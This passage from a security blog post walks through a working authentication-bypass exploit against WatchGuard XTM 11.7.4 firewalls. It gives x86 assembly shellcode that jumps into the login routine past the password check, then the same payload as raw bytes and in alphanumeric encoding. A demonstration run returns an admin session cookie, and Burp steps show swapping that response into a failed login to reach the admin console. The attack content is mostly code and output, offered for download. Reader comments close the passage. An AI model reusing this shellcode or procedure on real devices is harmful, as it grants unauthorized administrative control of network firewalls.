	;  80519b1:	8b 40 0c		mov	eax,DWORD PTR [eax+0xc]
	;  80519b4:	89 85 00 ff ff ff	mov	DWORD PTR [ebp-0x100],eax
	mov	eax, [eax+0xc]
	mov	[ebp-0x100], eax

	; simulate call to login function. copy args
	mov	ecx, [ebp-0x10c]
	mov	eax, [ebp-0x198]
	mov	edx, [ebp-0x194]
	mov	[esp+0x4],eax
	mov	[esp+0x8],edx
	mov	[esp],ecx

	; Now setup the login function stack

	; current esp/ebp
	; ----------------
	; esp	0x3ff0b6f0
	; ebp	0x3ffffcb8

	; we want to land into the login function
	; ---------------------------------------
	; esp	0x3ff0b420
	; ebp	0x3ff0b6e8

	; we'll do
	;---------
	; $ perl -e ' printf "%x\n", 0x3ff0b6f0 - 720'
	; 3ff0b420
	; ESP = ESP - 720
	; $ perl -e ' printf "%x\n", 0x3ffffcb8 - 1000912'
	; 3ff0b6e8
	; EBP = EBP - 1000912

	; stack fix
	sub	esp, 720
	sub	ebp, 1000912

	; EBX -> .GOT (same as above btw)
	mov	ebx, 0x805dff4

	; simulate "decode HTTP content" fct, at top of the login function
	mov	edx, [ebp+0x8]
	mov	edx, [edx+0x8]
	mov	dword [esp+0x4], 0x0	; no content_encoding header
	mov	[esp], edx
	mov	esi, 0x0804d990
	call	esi			; decode content
	mov	[ebp-0x70],eax		; int decoded_content; // [sp+258h] [bp-70h]@1

	; simulate "search remote_address"
	mov	eax, [ebp+0x8]
	mov	eax, [eax+0x14]
	mov	[esp+0x4],eax
	lea	eax,[ebx-0x3ceb]
	mov	[esp],eax
	mov	esi, 0x804b670 		; FCGX_GetParam
	call	esi
	add	eax, 0x7		; remove '::ffff:' => to improve
	mov	[ebp-0x60], eax

	; is_admin = 4
	mov	dword [ebp-0x48], 0x4

	; simulate "search req_user value"
	mov	eax, [ebp-0x70]
	mov	eax, [eax+0x50]
	mov	dword [esp+0x8],0x0
	lea	edx,[ebx-0x3c93]
	mov	[esp+0x4],edx
	mov	[esp],eax
	mov	esi, 0x804c07e
	call	esi			; <FCGX_PutStr@plt+0x3de>
	mov	[ebp-0x68],eax

	; v49 = 2 (ipv4)
	mov	word [ebp-0x5a], 0x2	; unsigned __int16 v49; // [sp+26Eh] [bp-5Ah]@1

	; challenge
	mov	dword [ebp-0x6c], 0x0	; const char *req_challenge; // [sp+25Ch] [bp-6Ch]@1

	; set v43 to null
	mov	dword [ebp-0x74], 0x0	; int v43; // [sp+254h] [bp-74h]@1

	; ok, we are ready to jump in the middle of the "login" function
	; right after the password verification

	; jump here
	; 804ee4b:	c7 44 24 04 00 12 00	mov	DWORD PTR [esp+0x4],0x1200
	; 804ee52:	00
	; 804ee53:	c7 04 24 01 00 00 00	mov	DWORD PTR [esp],0x1
	; 804ee5a:	e8 11 c4 ff ff		call	804b270 <calloc@plt>

	mov	edi, 0x804ee4b
	jmp	edi

Compilation and encoding:

$ ./build.sh wg_get_session.asm

unsigned char buf[]=
"\x81\xc4\xd8\x01\x00\x00\x81\xc5\x60\x47\x0f\x00\x8b\x85\x04"
"\xff\xff\xff\x8b\x9d\x08\xff\xff\xff\xbf\x00\xf0\x05\x08\x83"
"\xc7\x04\x8d\x77\x04\x81\xfe\x00\x10\x08\x08\x74\x0b\x39\x07"
"\x75\xee\x39\x5f\x04\x74\x07\xeb\xe7\xb8\x38\x3b\x06\x08\x8d"
"\x47\xf0\x89\x85\xf4\xfe\xff\xff\xbb\xf4\xdf\x05\x08\xc7\x85"
"\xf8\xfe\xff\xff\x00\x00\x00\x00\x8b\x40\x0c\x89\x85\x00\xff"
"\xff\xff\x8b\x8d\xf4\xfe\xff\xff\x8b\x85\x68\xfe\xff\xff\x8b"
"\x95\x6c\xfe\xff\xff\x89\x44\x24\x04\x89\x54\x24\x08\x89\x0c"
"\x24\x81\xec\xd0\x02\x00\x00\x81\xed\xd0\x45\x0f\x00\xbb\xf4"
"\xdf\x05\x08\x8b\x55\x08\x8b\x52\x08\xc7\x44\x24\x04\x00\x00"
"\x00\x00\x89\x14\x24\xbe\x90\xd9\x04\x08\xff\xd6\x89\x45\x90"
"\x8b\x45\x08\x8b\x40\x14\x89\x44\x24\x04\x8d\x83\x15\xc3\xff"
"\xff\x89\x04\x24\xbe\x70\xb6\x04\x08\xff\xd6\x83\xc0\x07\x89"
"\x45\xa0\xc7\x45\xb8\x04\x00\x00\x00\x8b\x45\x90\x8b\x40\x50"
"\xc7\x44\x24\x08\x00\x00\x00\x00\x8d\x93\x6d\xc3\xff\xff\x89"
"\x54\x24\x04\x89\x04\x24\xbe\x7e\xc0\x04\x08\xff\xd6\x89\x45"
"\x98\x66\xc7\x45\xa6\x02\x00\xc7\x45\x94\x00\x00\x00\x00\xc7"
"\x45\x8c\x00\x00\x00\x00\xbf\x4b\xee\x04\x08\xff\xe7";

Length: 268

/tmp/raw.bin generated

$ alpha2 eax < /tmp/raw.bin
PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJImQ9TKhuQWpEPMQiU\
U077foWplKLEuTkOyoIoLKmMfhKOIoiomoWpZPWu7xosKwc4nmpw7tmQInWpFpS8wxPt\
dKUiVgpuzNP9soS4PtWwXk8gnXWHukuV5XLM1WxpniK5ydYnkOyooKHtyOvewxZgK5ZX\
9nkOKOWpUPS0wplKqPTLOylEuPKOYoYoNklMkDKNKOyoNkMUPhkNYokOLKNuplKNKOYo\
nictddETmY64UtUXoy4LutK18lzpDBuP7pMQhmxPQU4OWpoKXtkoTEgxNkpUeXNkrrUX\
yWpD6Dwt7pUPuPc0LIr4VDmnLPki34S8IoN6mYsuNpLKCu6hlK70R4NiRdUtuTLMLCr5\
jcYoiomY7ttdmnt0lvS4wxKOjvK3Kp6gNiReMpkwPENXWtgps0uPNkSunpNk3ppPo73t\
etvhC0wpgpWpnmMC0m9SyokOoyrtgT7tlIC4tdONanKptDwxIoJvK9reOh0fkwG5MvUR\
WpIW75MD7pS0uPWpKwW5nlePUPwp5POOrkXngtVhYoywA

6. Final exploit

Here we are. Our final exploit succeeds to overcome all limitations such as hardening, limited privileges, memory randomization, bad characters, … As requested by our custom shellcode, the exploit jumps back into the wgagent code section, generates a new admin cookie, and then sends a complete HTTP response to the attacker:

6.1. Demonstration

$ ./wg-sessid-exploit-0.1.pl
[*] Sending HTTP ping request to https://192.168.60.200:8080 :  OK. Got 'pong'
[*] Checking sessionid cookie for bad chars
[*] Checking shellcode for bad chars
[*] Fill-in the heap ....
[*] Sending authentication bypass shellcode
[*] HTTP Response :
--------------------------------------------------------------------------------
HTTP/1.1 200 OK
Content-type: text/xml
Set-Cookie: sessionid=6B8B4567327B23C6643C9869663348730000001D
Vary: Accept-Encoding
Date: Fri, 25 Oct 2013 22:03:45 GMT
Server: none
Content-Length: 751

<?xml version="1.0"?>
<methodResponse>
  <params>
    <param>
      <value>
        <struct>
          <member><name>sid</name><value>6B8B4567327B23C6643C9869663348730000001D</value></member>
          <member><name>response</name><value></value></member>
          <member>
            <name>readwrite</name>
            <value><struct>
              <member><name>privilege</name><value>2</value></member>
              <member><name>peer_sid</name><value>0</value></member>
              <member><name>peer_name</name><value>error</value></member>
              <member><name>peer_ip</name><value>0.0.0.0</value></member>
            </struct></value>
          </member>
        </struct>
      </value>
    </param>
  </params>
</methodResponse>
--------------------------------------------------------------------------------
[*] Over.
$

Now that we received both a valid cookie and an XML answer for the Flash application, the remaining thing to do is to fire up Burp Suite or equivalent, and then to replace a failed login response by this one.

Phase 1: Attempt to login as admin using a wrong password:

xtm-01Login as admin using a wrong password

Phase 2: intercept the HTTP response (not enabled by default, check out your Burp proxy options). As expected, WatchGuard responded with a “invalid credentials” message.

xtm-03HTTP Response returned by WatchGuard

Phase 3: replace the HTTP response (invalid credentials) with the content provided by the exploit code, and then forward it back to the browser:

xtm-04HTTP Response – content modified

Phase 4: enjoy your administrator access :-)

xtm-05 WatchGuard admin console

6.2. Download

The exploit has been tested against multiple deployments of the XTMv (virtual appliances) version 11.7.4u1, running on various ESXi hardwares. However, we could not test it against a “physical” appliance (XTM) yet.

While the vulnerability is certainly present on previous versions of the software, the shellcode will probably not work on other versions. You should however have enough information to adapt it to previous versions of the XTM software.

As usual, please be responsible by asking for the authorization before p0wning a Firewall..

The exploit can be downloaded from the following links:

Enjoy,

1 Star2 Stars3 Stars4 Stars5 Stars (6 votes, average: 5.00 out of 5)
Loading...

© 2013 – 2015, foip. All rights reserved.

4 Comments
  1. Very impressive. Being able to have your shellcode call some built-in functions and restore the state to prevent crashing the program seems like it must have taken a lot of effort.

    I’d worry if I did something like this, that the address layout randomization would mean that all those pointers would be different from one run to another. How is it that the pointer you needed always ends in 0x8544?

    • foip permalink

      Thanks!
      Because here, the heap and the code sections addresses aren’t randomized :)

  2. Ah, so the layout randomization doesn’t change the lower bytes of those pointers?

Trackbacks & Pingbacks

  1. WatchGuard’s XTM 11.8 Software Fixes Buffer Overflow & XSS Vulnerabilities | WatchGuard Security Center

Comments are closed.

© 2010-2024 Fun Over IP All Rights Reserved -- Copyright notice by Blog Copyright